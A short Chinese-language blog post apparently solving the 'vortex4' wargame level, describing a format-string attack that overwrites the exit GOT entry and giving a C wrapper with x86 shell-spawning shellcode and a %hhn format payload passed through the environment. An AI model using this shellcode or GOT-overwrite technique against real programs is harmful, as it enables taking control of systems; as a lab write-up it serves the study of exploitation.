vortex4

Posted by rk700 on July 8, 2014

format string。由于还是exit,所以与上题一样,修改got.

由于argc必须为0,所以要另外写一个c程序,用exec。我们把argv设为{NULL}, 要修改的地址放到envp[0], shellcode放到envp[1], format string放到envp[2]。这样printf就会打印envp[2]

还是用寻找A的方式,大概确定了format string的内容大概是第98个参数。exit在plt的地址是0x0804a008,经过一番调整,确定了各个环境变量的长度,然后确定SHELLCODE的地址和format的具体形式。

代码如下

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *args[]) {
    char *env1="\x08\xa0\x04\x08\x09\xa0\x04\x08\x0a\xa0\x04\x08\x0b\xa0\x04\x08";
    char *env2="SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    char *env3="%155x%97$hhn%64x%98$hhn%32x%99$hhn%100$hhn";
    char *argv[] = {NULL};
    char *envp[] = {env1, env2, env3, NULL};
    execve("/vortex/vortex4", argv, envp);
}